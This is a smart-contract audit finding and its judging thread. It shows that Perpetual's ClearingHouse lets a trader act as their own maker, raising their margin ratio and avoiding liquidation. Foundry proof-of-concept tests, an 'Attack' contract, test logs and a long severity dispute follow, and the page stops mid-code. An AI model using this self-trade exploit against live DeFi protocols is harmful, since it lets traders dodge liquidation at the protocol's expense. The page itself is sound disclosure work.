neon2835 - Users can avoid the possibility of liquidation

[sherlock-admin3]

neon2835

high

Users can avoid the possibility of liquidation

Summary

When the margin utilization rate of the account is lower than maintenanceMarginRatio, the user's account will be liquidated. Therefore, in order to avoid liquidation, users must add margin to the account to make its account value higher than the maintenance margin requirement.

However, there is a vulnerability in the system, which can improve the utilization rate of account margin without adding more additional margin, which allows users to avoid the possibility of liquidation.

Vulnerability Detail

There are two main reasons for this vulnerability:

1. The system does not restrict the account from trading with its own account.
2. The trade price can be different from the Oracle price As long as the price difference remains within a certain range, the transaction can be completed, priceBandRatio can be set in the priceBandRatioMap of the config contract.

The priceBandRatio will also be different according to the risk of different markets. Take the ETH market as an example, its priceBandRatio is about 5% (I consulted the project personnel on the discord discussion group).

Assuming that users open positions to hold long/short positions in ETH market. At this time, the user trades with himself, he can manipulate the trade price, thus manipulating the margin utilization rate of the account.

Let the code speak for itself, here's my test file: MyTest.t.sol, just put it in the test/clearingHouse directory:

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0;

import "../oracleMaker/OracleMakerIntSetup.sol";
import { ClearingHouse } from "../../src/clearingHouse/ClearingHouse.sol";
import { IClearingHouse } from "../../src/clearingHouse/IClearingHouse.sol";
import { OracleMaker } from "../../src/maker/OracleMaker.sol";
import { LibError } from "../../src/common/LibError.sol";
import "forge-std/console.sol";


contract MyTest is OracleMakerIntSetup {
    bytes public makerData;
    address public taker = makeAddr("taker");
    address public lp = makeAddr("lp");
    struct MakerOrder {
        uint256 amount;
    }

    function setUp() public override {
        super.setUp();

        makerData = validPythUpdateDataItem;

        _mockPythPrice(150, 0);
        _deposit(marketId, taker, 500e6);
        maker.setValidSender(taker, true);

        deal(address(collateralToken), address(lp), 2000e6, true);
        vm.startPrank(lp);
        collateralToken.approve(address(maker), 2000e6);
        maker.deposit(2000e6);
        vm.stopPrank();
    }

    function test_imporveMarginRatio() public{
        vm.startPrank(taker);
        _mockPythPrice(150, 0);
        uint price = 150 * 1e18;
        // taker long ether with 1500 usd
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: makerData
            })
        );
        console.log("---------------- before ------------------- ");
        printLegacyMarginProfile(_getMarginProfile(marketId, taker, price));

        // taker trade with himself
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(taker), //NOTE maker equel taker
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: abi.encode(MakerOrder({
                    amount: 10.5 ether //NOTE suppose 5% band
                }))
            })
        );
        console.log("\r");
        console.log("---------------- after ------------------- ");
        printLegacyMarginProfile(_getMarginProfile(marketId, taker, price));

    }

    function test_avoidLiquidation() public{
        vm.startPrank(taker);
        _mockPythPrice(150, 0);
        // taker long ether with 1500 usd
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: makerData
            })
        );

        uint price = 109 * 1e18; //The price that make users to be liquidated
        console.log("---------------- normal ------------------- ");
        printLegacyMarginProfile(_getMarginProfile(marketId, taker, price));
        console.log("isLiquidatable", clearingHouse.isLiquidatable(marketId, taker, price));

        // taker trade with himself
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(taker), //NOTE maker equel taker
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: abi.encode(MakerOrder({
                    amount: 10.5 ether //NOTE suppose 5% band
                }))
            })
        );
        console.log("\r");
        console.log("---------------- after taker trade with himself -------------------");
        printLegacyMarginProfile(_getMarginProfile(marketId, taker, price));
        console.log("isLiquidatable", clearingHouse.isLiquidatable(marketId, taker, price));
        vm.stopPrank();
    }

    function printLegacyMarginProfile(LegacyMarginProfile memory _legacy) private view {
        console.log("\r");
        console.log("accountValue:");
        console.logInt(_legacy.accountValue);
        console.log("\r");

        console.log("marginRatio:");
        console.logInt(_legacy.marginRatio);
        console.log("\r");
    }
}

First, run the test_imporveMarginRatio function to verify whether the margin utilization rate can be improved, run:

forge test --match-path test/clearingHouse/MyTest.t.sol --match-test test_imporveMarginRatio -vvv

Get the results:

Ran 1 test for test/clearingHouse/MyTest.t.sol:MyTest
[PASS] test_imporveMarginRatio() (gas: 1434850)
Logs:
  ---------------- before ------------------- 
  
  accountValue:
  500000000000000000000
  
  marginRatio:
  333333333333333333
  
  
  ---------------- after ------------------- 
  
  accountValue:
  500000000000000000000
  
  marginRatio:
  349999999999999999
  

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.51ms (4.20ms CPU time)

We can see that with the accountValue unchanged, the margin utilization rate has increased from 333333333333333333 to 349999999999999999. Please note that this is only when priceBandRatio is equal to 5%, the greater the value of priceBandRatio, the greater the margin ratio that can be increased!

Then let's continue running the test_avoidLiquidation function, run:

forge test --match-path test/clearingHouse/MyTest.t.sol --match-test test_avoidLiquidation -vvv

Get the results:

Ran 1 test for test/clearingHouse/MyTest.t.sol:MyTest
[PASS] test_avoidLiquidation() (gas: 1528984)
Logs:
  ---------------- normal ------------------- 
  
  accountValue:
  90000000000000000000
  
  marginRatio:
  60000000000000000
  
  isLiquidatable true
  
  ---------------- after taker trade with himself -------------------
  
  accountValue:
  90000000000000000000
  
  marginRatio:
  62999999999999999
  
  isLiquidatable false

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.90ms (4.57ms CPU time)

Through the test results, it is found that the account should have met the conditions for liquidation, and by constructing its own transactions with itself, it can not be liquidated any more.

Impact

By trading with themselves, users can improve their margin utilization without adding additional margin, which allows users to avoid the possibility of liquidation

Code Snippet

Although the code snippet that caused the vulnerability is complex, the main reason is in the _openPosition function of the ClearingHouse contract:

https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/clearingHouse/ClearingHouse.sol#L267-L356

Tool used

Manual Review
Foundry Vscode

Recommendation

Forcibly restrict users from trading with their own accounts.
Add judgment conditions to the _openPosition function of the ClearingHouse contract:

require( taker != params.maker, "Taker can not equal to Maker" );

[sherlock-admin3]

1 comment(s) were left on this issue during the judging contest.

takarez commented:

taker should not be equal to maker; high(2)

[sherlock-admin4]

The protocol team fixed this issue in the following PRs/commits:
https://github.com/perpetual-protocol/perp-contract-v3/pull/7

[nirohgo]

Escalate

Informational/Low

While it might be a good idea to prevent self trades in general, this finding has nothing to do with evading liquidations without adding margin:

I'll use the POC presented in the finding (test_avoidLiquidation) to demonstrate: Here is what is actually happening there: A long position of size 10 is opened at the market price (150), Then the trader opens a long position of size 10.5 with a price of 142.8 (1500/10.5) with themselves as the maker. Because ClearingHouse first clears the maker, first the original position is closed at a loss (short 10 with price 142.8), then a short of 0.5 is opened (with the same price), next the taker is settled, closing the 0.5 short and opening a long of size 10 (at price 142.8). Since all PnL is realized by the end, the trader's loses ~72.5$ in the process. To see this, add these lines in the POC test function test_avoidLiquidation before and after the self-trade (change the margDec name the second time):

int256 margDec = vault.getMargin(marketId,address(taker));
console.log("taker margin");
console.logInt(margDec);
THis shows that the trader loses $72.5 to change their margin ratio at the tested price (109) from 6% to 6.3% (for comparison, if they had added $10 of margin the ratio would have changed to 6.66%)

To simulate the actual situation the finding describes (that this method can be used to avoid liquidation when the user is close to being liquidated) change the tested price in the POC from 109 to 112 (8% liquidation rate), call _mockPythPrice(112, 0); before the self trade (to simulate a price drop bringing the trader close to liquidation), and change the self-trade amount to amount: 1117 ether (for a position price of 112*0.95=106.5). The self trade fails with NotEnoughFreeCollateral (because the loss in this case is greater).

[sherlock-admin2]

Escalate

Informational/Low

While it might be a good idea to prevent self trades in general, this finding has nothing to do with evading liquidations without adding margin:

I'll use the POC presented in the finding (test_avoidLiquidation) to demonstrate: Here is what is actually happening there: A long position of size 10 is opened at the market price (150), Then the trader opens a long position of size 10.5 with a price of 142.8 (1500/10.5) with themselves as the maker. Because ClearingHouse first clears the maker, first the original position is closed at a loss (short 10 with price 142.8), then a short of 0.5 is opened (with the same price), next the taker is settled, closing the 0.5 short and opening a long of size 10 (at price 142.8). Since all PnL is realized by the end, the trader's loses ~72.5$ in the process. To see this, add these lines in the POC test function test_avoidLiquidation before and after the self-trade (change the margDec name the second time):

int256 margDec = vault.getMargin(marketId,address(taker));
console.log("taker margin");
console.logInt(margDec);
THis shows that the trader loses $72.5 to change their margin ratio at the tested price (109) from 6% to 6.3% (for comparison, if they had added $10 of margin the ratio would have changed to 6.66%)

To simulate the actual situation the finding describes (that this method can be used to avoid liquidation when the user is close to being liquidated) change the tested price in the POC from 109 to 112 (8% liquidation rate), call _mockPythPrice(112, 0); before the self trade (to simulate a price drop bringing the trader close to liquidation), and change the self-trade amount to amount: 1117 ether (for a position price of 112*0.95=106.5). The self trade fails with NotEnoughFreeCollateral (because the loss in this case is greater).

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[nevillehuang]

@paco0x @CheshireCatNick @lnxrp @vinta Could you take a look at the above comment? IIRC this is a major risk to you guys based on previous discussions.

[paco0x]

@paco0x @CheshireCatNick @lnxrp @vinta Could you take a look at the above comment? IIRC this is a major risk to you guys based on previous discussions.

After rerun the test with the suggestions given by @nirohgo, I think he's point is valid. When the external price is very close to the liquidation price, user is unable to perform the trade in the test (revert by NotEnoughFreeCollatera). So it's not possible to avoid liquidation without close position if the external price is already very close to the liquidation price.

But this issue still give an example of how can a trader improve his margin ratio and increase the free collateral by trading against himself. So we still think it's valid and suggest a medium level severity.

[joicygiore]

@paco0x @CheshireCatNick @lnxrp @vinta Could you take a look at the above comment? IIRC this is a major risk to you guys based on previous discussions.

After rerun the test with the suggestions given by @nirohgo, I think he's point is valid. When the external price is very close to the liquidation price, user is unable to perform the trade in the test (revert by NotEnoughFreeCollatera). So it's not possible to avoid liquidation without close position if the external price is already very close to the liquidation price.

But this issue still give an example of how can a trader improve his margin ratio and increase the free collateral by trading against himself. So we still think it's valid and suggest a medium level severity.

@paco0x
This method is only to postpone the liquidated position, but if the price recovers as expected, the position can be closed normally and will not appear (revert by NotEnoughFreeCollatera),There was no plan from the beginning to close the position at a loss
#61

        // set price -> 193.76e18
@>        maker.setBaseToQuotePrice(193.76e18);
@>        _mockPythPrice(19376, -2);
        // Unable to liquidate
@>        assertEq(clearingHouse.isLiquidatable(marketId, attacker, 193.76e18), false);


        // set price -> 50e18
@>        maker.setBaseToQuotePrice(100e18);
@>       _mockPythPrice(100, 0);

Even if the price returns to the opening price, the position can be closed without loss.

[paco0x]

@paco0x @CheshireCatNick @lnxrp @vinta Could you take a look at the above comment? IIRC this is a major risk to you guys based on previous discussions.

After rerun the test with the suggestions given by @nirohgo, I think he's point is valid. When the external price is very close to the liquidation price, user is unable to perform the trade in the test (revert by NotEnoughFreeCollatera). So it's not possible to avoid liquidation without close position if the external price is already very close to the liquidation price.
But this issue still give an example of how can a trader improve his margin ratio and increase the free collateral by trading against himself. So we still think it's valid and suggest a medium level severity.

@paco0x This method is only to postpone the liquidated position, but if the price recovers as expected, the position can be closed normally and will not appear (revert by NotEnoughFreeCollatera),There was no plan from the beginning to close the position at a loss #61

        // set price -> 193.76e18
@>        maker.setBaseToQuotePrice(193.76e18);
@>        _mockPythPrice(19376, -2);
        // Unable to liquidate
@>        assertEq(clearingHouse.isLiquidatable(marketId, attacker, 193.76e18), false);


        // set price -> 50e18
@>        maker.setBaseToQuotePrice(100e18);
@>       _mockPythPrice(100, 0);

Even if the price returns to the opening price, the position can be closed without loss.

Yes, I understand that it can postpone liquidation by increasing the margin ratio, @nirohgo's point is that you can only do this if the external price is much higher than the liquidation price.

To sum up: users can intentionally raise or lower the liquidation price, in a direction that is more favorable to them, thereby increasing the risk of the liquidation system, but there is not much room for this liquidation price improvement.

We confirm it's a valid issue but not sure about the severity level, better to let the judge decide the final result.

[WangSecurity]

I believe it should be medium, since the it's a valid issue (as confirmed by the sponsor) but with certain constraints expressed in the discussion above.

The escalation suggested low/info severity, hence I'm planning to reject the escalation, but downgrade the severity to medium.

[oxneon]

I believe it should be medium, since the it's a valid issue (as confirmed by the sponsor) but with certain constraints expressed in the discussion above.

The escalation suggested low/info severity, hence I'm planning to reject the escalation, but downgrade the severity to medium.

Please allow me, because this is my first time participating in Sherlock, can I still defend myself now?

[WangSecurity]

Yes, if you've got any points to defend yourself and keep high severity, please provide any info/arguments.

[joicygiore]

Yes, if you've got any points to defend yourself and keep high severity, please provide any info/arguments.

Although the amount that can be postponed is limited, if the winning rate is calculated with a probability of 5:5, then this seemingly subtle percentage actually has a huge impact. You must know that in baccarat, the banker's probability of winning is 45.8%, which is slightly higher than the player's 44.6% probability of winning. The probability of a draw is only 9.6%. This subtle advantage is the key to victory or defeat. 🫡
Even a single increase in margin is limited. But if you operate it multiple times, such as hundreds, thousands, or tens of thousands of times, the accumulation of all the amounts will be a very scary existence.

[oxneon]

Yes, if you've got any points to defend yourself and keep high severity, please provide any info/arguments.

In my opinion, when there is a vulnerability, it depends on how to use it. In fact, you don't have to wait until the price is about to reach the threshold of liquidation before starting to trade with yourself. Anyone can immediately trade with themselves after opening a position to improve the utilization of margin.
I added two new test functions for obvious comparison:

    function test_canLiqudated() public{
        vm.startPrank(taker);
        _mockPythPrice(150, 0);
        // taker long ether with 1500 usd
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: makerData
            })
        );

        uint price = 109 * 1e18; //The price that make users to be liquidated
        _mockPythPrice(109, 0);
        console.log("---------------- test_canLiqudated ------------------- ");
        console.log("isLiquidatable", clearingHouse.isLiquidatable(marketId, taker, price));
        vm.stopPrank();
    } 

    function test_canNotLiqudated() public{
        vm.startPrank(taker);
        _mockPythPrice(150, 0);
        // taker long ether with 1500 usd
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: makerData
            })
        );
        // please note anyone can do. NO constraints here.
        // taker trade with himself
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(taker), //NOTE maker equel taker
                isBaseToQuote: false,
                isExactInput: true,
                amount: 1500 ether,
                oppositeAmountBound: 10 ether,
                deadline: block.timestamp,
                makerData: abi.encode(MakerOrder({
                    amount: 10.5 ether //NOTE suppose 5% band
                }))
            })
        );

        uint price = 109 * 1e18; //The price that make users to be liquidated
        _mockPythPrice(109, 0);
        console.log("---------------- test_canNotLiqudated ------------------- ");
        console.log("isLiquidatable", clearingHouse.isLiquidatable(marketId, taker, price));
        vm.stopPrank();
    }

run:

forge test --match-path test/clearingHouse/MyTest.t.sol --match-test test_canLiqudated -vvv

Ran 1 test for test/clearingHouse/MyTest.t.sol:MyTest
[PASS] test_canLiqudated() (gas: 768867)
Logs:
  ---------------- test_canLiqudated ------------------- 
  isLiquidatable true

forge test --match-path test/clearingHouse/MyTest.t.sol --match-test test_canNotLiqudated -vvv

Ran 1 test for test/clearingHouse/MyTest.t.sol:MyTest
[PASS] test_canNotLiqudated() (gas: 999226)
Logs:
  ---------------- test_canNotLiqudated ------------------- 
  isLiquidatable false

1. Compared to the test_canLiquitated function, the test_canNotLiquitated function only has one additional step: trading with itself.
2. The test_canNotLiquated result shows that the user cannot be liquidated at this time.

In addition, let's look at the definition of high issue in the sherlock documentation:
https://docs.sherlock.xyz/audits/judging/judging#iv.-how-to-identify-a-high-issue

IV. How to identify a high issue:
Definite loss of funds without (extensive) limitations of external conditions.

Inflicts serious non-material losses (doesn't include contract simply not working).

Obviously, this vulnerability meets the first description in the document: Definite loss of funds without (extensive) limitations of external conditions.

1. Definite loss of funds: The liquidation behavior can generate income for the protocol, but the income that should have been obtained cannot be obtained, which is a loss.
2. Without (extensive) limitations of external conditions : As I said before, you don't have to wait until the price is about to reach the threshold of liquidation before starting to trade with yourself. Anyone can immediately trade with themselves after opening a position to improve the utilization of margin.

In summary, this vulnerability should be kept as a high issue.

[joicygiore]

you don't have to wait until the price is about to reach the threshold of liquidation before starting to trade with yourself. Anyone can immediately trade with themselves after opening a position to improve the utilization of margin.
In order to make an obvious comparison, I used user as the control group and deployed a simple contract to execute the transaction(without worrying about price issues):

contract Attack {
    IClearingHouse target;

    constructor(address _target) {
        target = IClearingHouse(_target);
    }

    function openPosition(uint256 marketId, address maker, uint256 amount) public {
        bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: (amount * 95) / 100 }));
        target.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: true,
                isExactInput: true,
                amount: 1 ether,
                oppositeAmountBound: amount,
                deadline: block.timestamp,
                makerData: ""
            })
        );
        target.closePosition(
            IClearingHouse.ClosePositionParams({
                marketId: marketId,
                maker: address(this),
                oppositeAmountBound: type(uint256).max,
                deadline: block.timestamp,
                makerData: makerData
            })
        );
    }

    function closePosition(uint256 marketId, address maker, uint256 amount) public {
        target.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: false,
                amount: 1 ether,
                oppositeAmountBound: amount,
                deadline: block.timestamp,
                makerData: ""
            })
        );
    }
}

       // attack contract
    function testModifyAccountMarginRatioContract() public {
        // init user
        address user = makeAddr("user");
        uint256 startCollateralToken = 100e6;
        // deploy attack contract
        Attack attack = new Attack(address(clearingHouse));
        _deposit(marketId, address(attack), startCollateralToken);
        _deposit(marketId, address(user), startCollateralToken);
        // set PriceBandRatio -> 10%
        config.setPriceBandRatio(marketId, 0.05 ether);
        // set price -> 100e18
        maker.setBaseToQuotePrice(100e18);
        _mockPythPrice(100, 0);
        // user openPosition
        vm.prank(user);
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: true,
                isExactInput: true,
                amount: 1 ether,
                oppositeAmountBound: 100 ether,
                deadline: block.timestamp,
                makerData: ""
            })
        );
        // attack contract openPosition
        attack.openPosition(marketId, address(maker), 100 ether);
        assertEq(clearingHouse.isLiquidatable(marketId, user, 193.76e18), true);
        assertEq(clearingHouse.isLiquidatable(marketId, address(attack), 193.76e18), false);
        console.log("user isLiquidatable()",clearingHouse.isLiquidatable(marketId, user, 193.76e18));
        console.log("attack isLiquidatable()",clearingHouse.isLiquidatable(marketId, address(attack), 193.76e18));
    }
    // [PASS] testModifyAccountMarginRatioContract() (gas: 2232055)
    // Logs:
    //     user isLiquidatable() true
    //     attack isLiquidatable() false

[IllIllI000]

The sponsor acknowledges that allowlisted makers may still be able to exploit this issue

[sherlock-admin2]

The Lead Senior Watson signed off on the fix.

[WangSecurity]

@oxneon I agree that this can happen before reaching the liquidation threshold and it's not the problem we discussed here. The constraint that leads to it being a medium is that the trader can do that only if the external price is much higher than the liquidation price (here). I.e. the trader can indeed improve the utilization of margin but not near the liquidation. Hence, the medium is appropriate cause it requires specific states (external price has to be much higher than the liquidation price). If you disagree with it, the PoC for such scenario will help. Otherwise, planning to reject the escalation, but downgrade to medium (since the escalation asked Low/info severity).

[joicygiore]

@oxneon I agree that this can happen before reaching the liquidation threshold and it's not the problem we discussed here. The constraint that leads to it being a medium is that the trader can do that only if the external price is much higher than the liquidation price (here). I.e. the trader can indeed improve the utilization of margin but not near the liquidation. Hence, the medium is appropriate cause it requires specific states (external price has to be much higher than the liquidation price). If you disagree with it, the PoC for such scenario will help. Otherwise, planning to reject the escalation, but downgrade to medium (since the escalation asked Low/info severity).

How to get two different external prices in one function call?

[oxneon]

@oxneon I agree that this can happen before reaching the liquidation threshold and it's not the problem we discussed here. The constraint that leads to it being a medium is that the trader can do that only if the external price is much higher than the liquidation price (here). I.e. the trader can indeed improve the utilization of margin but not near the liquidation. Hence, the medium is appropriate cause it requires specific states (external price has to be much higher than the liquidation price). If you disagree with it, the PoC for such scenario will help. Otherwise, planning to reject the escalation, but downgrade to medium (since the escalation asked Low/info severity).

@WangSecurity I don't understand. The scenario I added is to illustrate that external prices have nothing to do with the exploitation of vulnerabilities, because external prices must be much higher than the liquidation price when opening a position for the first time (initial margin utilization = 10%, margin utilization to reach the liquidation threshold = 6.25%). This condition will definitely happen 100%.

I think if this is also a restriction condition, then according to this standard, no report is qualified to become a high issue, because all reports have restrictions, such as: the attacker must be human (gorillas are not smart enough), he must have a computer, his computer network must be functioning well, the attacker has the intention to do evil, the universe has not been destroyed... etc., because these are 100% guaranteed conditions, so everyone assumes that these conditions will not be considered as factors in judging a High issue. I am not being sophistic. Again, the same principle: the external price must be much higher than the liquidation price when opening a position for the first time (initial margin utilization rate = 10%, margin utilization rate reaching the liquidation threshold = 6.25%), this is a 100% guaranteed condition. This is not a small probability event, not even 80%, 99% probability, but 100%! When the probability of a condition occurring is 100%, it is no longer a constraint

In summary, this vulnerability should be kept as a high issue.

[WangSecurity]

First, the vulnerability is possible and it is not the question.

Second, this attack can only be executed in the start of the trade and cannot be executed when the attacker is nearing the liquidation, when the trader actually needs it. It's confirmed that the traders can improve their margin utilization, but as confirmed by the sponsor here, there is not much room for liquidation price improvement. Hence, I stand by my initial decision to reject the escalation and downgrade the issue to medium.

[oxneon]

First, the vulnerability is possible and it is not the question.

Second, this attack can only be executed in the start of the trade and cannot be executed when the attacker is nearing the liquidation, when the trader actually needs it. It's confirmed that the traders can improve their margin utilization, but as confirmed by the sponsor here, there is not much room for liquidation price improvement. Hence, I stand by my initial decision to reject the escalation and downgrade the issue to medium.

@WangSecurity This is ridiculous. Me and @joicygiore have tried many times to explain to you that attackers are not stupid enough to increase their margin utilization just before being liquidated. However, you have always ignored this core argument, and you have treated it as a strong restriction condition to judge something that is 100% likely to happen. No offense but this is very unfair and unreasonable, and I think it is a double standard.

Every finding requires some conditions or specific states. For example, #123 , which was accepted as High, requires that there be two offline Pyth price updates that were not reported onchain yet at that the price diff between them enables the attack. If my report is judged to be M, then #123 should also be M, otherwise it is a double standard.

In order to stop the endless argument, I am seeking assistance. @Evert0x @paco0x @CheshireCatNick @lnxrp @vinta Could you kindly review the discussion that follows with @joicygiore ? which is : here here here . I'd be most grateful.

[IllIllI000]

This PoC shows the 98 case (uses 95 instead). Changing bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: (amount * 95) / 100 })); in that PoC to bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: amount })); shows that neither is liquidatable for the same price case. The test isn't set up to work for the 102 case (getting ExcessiveInputAmount error when trying to do the second trade)

[joicygiore]

Yes, there are a couple of them. Thank you for the POC again, but I've asked you to explain this changes from the Neon's POC. I've asked them in this and this comments. Yes, you answered the question regarding makerData, but still didn't explain why in your POC the trader is not liquidatable after the attack, when in Neon's POC they are if the price drops slightly. If I missed where you explain it, please forward me to that comment, cause still can't see where you explain the reason for such difference.

Secondly, I don't see where you provide counter arguments for @IllIllI000 assumption. I will copy and paste this quesiton here.

the increase in margin happens not because the trader opens a trade with themselves after trading with the maker. The LSW says that it happens because two trades have different aberage entry price, hence when you enter the second trade, the margin utilization is different, cause the entry price is different. That is the reason why they believe it should be low. Yes the margin utilization is better without adding any collateral, but you enter the trade at a different price, hence, the margin utilization is different. Therefore, it works correctly and as it should.

Again, if I miss a comment where you explain it, please forwrd me to it, cause I genuinely don't see it.

Lastly, could you explain your last POC about shorting 1 ether from this comment. Again, just copy and pasting my question:

The trader opens a short at price of 100. Then you assert they can be liquidatable at price of 193. Then you close the position and now the trader is not liquidatable at price of 193. Well, why it should be liquidatable if it's closed? Then you open a new position at the price of 50. I don't understand what the POC proves, hence, asking you to explain it please, cause from my point of view you close position, try to check if it's liquidatable and it's quite logical that it's not, since it's closed.

Of course, I genuinely miss where you answer these questions cause after I asked them, you provided three scenarios which don't give explicit answers to these questions. Excuse me, if I'm actually just blind and miss them.

1.I don't really know Neon's poc. Because only he himself is the clearest thinker about the basic idea of his setup. I think he should be able to answer your question. This is indeed beyond my POC and my thinking. Please understand.
2.This is my raw content and analysis of why I feel like I can do this and it works. While increasing the margin, it will not affect the subsequent closing of positions. #61 facts have proved that it is indeed effective
3.It can be liquidated before the transaction, but cannot be liquidated after the transaction. Please note the state changes of the two transaction assertions(This is just to show the comparison before and after self-trading.),
The position was not liquidated. When the price meets the attacker's expectations, the attacker closes the position to cash in the profit. This is a normal operation. Is there any problem with this? Please note that this is the third example in #112 (comment) margin increase, liquidation failed, maker suffered losses

        ////////////////////////////////////
        /////// normal circumstances ///////
        ////////////////////////////////////
        // 100e18 -> 193.76e18
        // margin ratio < 6.25%
        assertEq(vault.getMarginRatio(marketId, attacker, 193.76e18), 6.24e16);
        // can be liquidated
@>        assertEq(clearingHouse.isLiquidatable(marketId, attacker, 193.76e18), true);

        /////////////////////////////////////
        /// Attackers trade on their own ////
        /////////////////////////////////////
        // after transaction attacker closePosition in self and set makerData
        bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: 95 ether }));
        // if price band ratio == 0
        // for (uint256 i = 0; i < 5; ++i) {
        clearingHouse.closePosition(
            IClearingHouse.ClosePositionParams({
                marketId: marketId,
                maker: address(attacker),
                oppositeAmountBound: type(uint256).max,
                deadline: block.timestamp,
                makerData: makerData
            })
        );
        // }
        //////////////////////////////////
        ///Unable to liquidate normally///
        //////////////////////////////////
        // set price -> 193.76e18
        maker.setBaseToQuotePrice(193.76e18);
        _mockPythPrice(19376, -2);
        // Unable to liquidate
@>        assertEq(clearingHouse.isLiquidatable(marketId, attacker, 193.76e18), false);

[joicygiore]

In the meantime, I'll ask do I understand correctly what the flow of the attack here is? Please correct me if anything is missing or any assumption is wonrg. @oxneon @joicygiore @IllIllI000

We have a user (regular trader) and the attacker. They open longs at the same price, i.e. 100. Instantly after that, the attacker opens a second trade, but with himself as a maker. Because of that, their initial trade is closed and the new one has a differentl average entry price (even if they open the second trade instantly).

Then the price dropped to 50 and now both of them should be liquidated (assuming they opened two identical longs). The user gets liquidated, but the attacker is no liquidatable. The reason for that is because when they opened the second trade their average entry price was lower, therefore, their margin utilisation rate is better and they're not liquidated at this price.

Feel free to correct me.

Simply put, as long as your margin is enough, no one can liquidate you. You just need to wait for it to return to your expected closing price.

[joicygiore]

But what if the price of both first and second trade is the same? I assume the margin utilization will not change and in the scenario I laid out here, the attacker would be liquidatable at the price of 50?

If the price of the second trade is lower than of the first one (entry price), for example entry of the second trade is 98, then they close the first at 98 as well. Hence, they realize the loss and now they have less margin, lower entry price, so the utilisation ratio is different then to the user. The same for opening the second trade at 102 and realising gains, but vice versa. Correct?

I really don’t quite understand what you mean by 102. This is not my idea, so I don’t know how to explain this issue to you. Below is my original content #61
So, sir, that's all

[joicygiore]

If I've missed anything, please feel free to tell me.
Thank you for your patience. I think I need to improve my language skills and expression skills. 🫡
@WangSecurity @IllIllI000

[joicygiore]

This PoC shows the 98 case (uses 95 instead). Changing bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: (amount * 95) / 100 })); in that PoC to bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: amount })); shows that neither is liquidatable for the same price case. The test isn't set up to work for the 102 case (getting ExcessiveInputAmount error when trying to do the second trade)

I don’t quite understand the implementation logic of 102, so it’s normal that it can’t be used in my POC,thanks for understanding

[WangSecurity]

Thank you for these responses!

I really don’t quite understand what you mean by 102. This is not my idea, so I don’t know how to explain this issue to you

This is just an arbitrary exmple to clarify if there's something I'm missing.

It can be liquidated before the transaction, but cannot be liquidated after the transaction. Please note the state changes of the two transaction assertions(This is just to show the comparison before and after self-trading.),

Totally understand, the thing that is not clear for me, the transaction in this piece of the test is to close the position. Hence, yes it's liquidatable before closing the position, but after you closed the position it's not, which is completely logical. What I don't see is where is the self trade? I see that the maker is the attacker address, but it only closes the position, and it's logical the closed position cannot be closed. Do I miss where you open the second trade?

Also, as I understand, you don't disagree with this assumption. I see your comment:

Simply put, as long as your margin is enough, no one can liquidate you. You just need to wait for it to return to your expected closing price

But it doesn't agree or disagree with my assumption that the attacker cannot be liquidated cause the entry price of the second trade is lower than the first one, not cause they trade with themselves.

And I've got another question to any watson who wish to answer (@joicygiore @IllIllI000) if in that case, the only reason for having better margin utilisation is opening the second trade at a lower price, then it doesn't matter if they trade with themselves? In that case the attacker shouldn't put themselves as the maker, and they can open the second trade using the same maker as for the first trade and achieve the same result. Correct?

[IllIllI000]

For your followup question, the first trade's maker in the thought experiment will be the OM, the SHBM, or another account. The OM uses the Pyth oracle for the price, so they can't do it there because that's a fixed price that they cannot control. The SHBM uses uniswap, so unless they skew the pool, they can't choose a price there either. They can do the same thing by trading with another account (e.g. their own other account), assuming that other account made the original trade (i.e. at price of 100) so that the account has shares to provide as the maker.

[joicygiore]

He must trade as a maker in order to control the makerData parameters and increase the margin rate. The closePosition used in my POC is actually just to be lazy and reduce parameters. In order to control makerData, we only need a position opposite to the original position to execute self-transactions. For example, the following method is still valid

        // after transaction attacker closePosition in self and set makerData
        bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: 95 ether }));
        // if price band ratio == 0
        // for (uint256 i = 0; i < 5; ++i) {
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
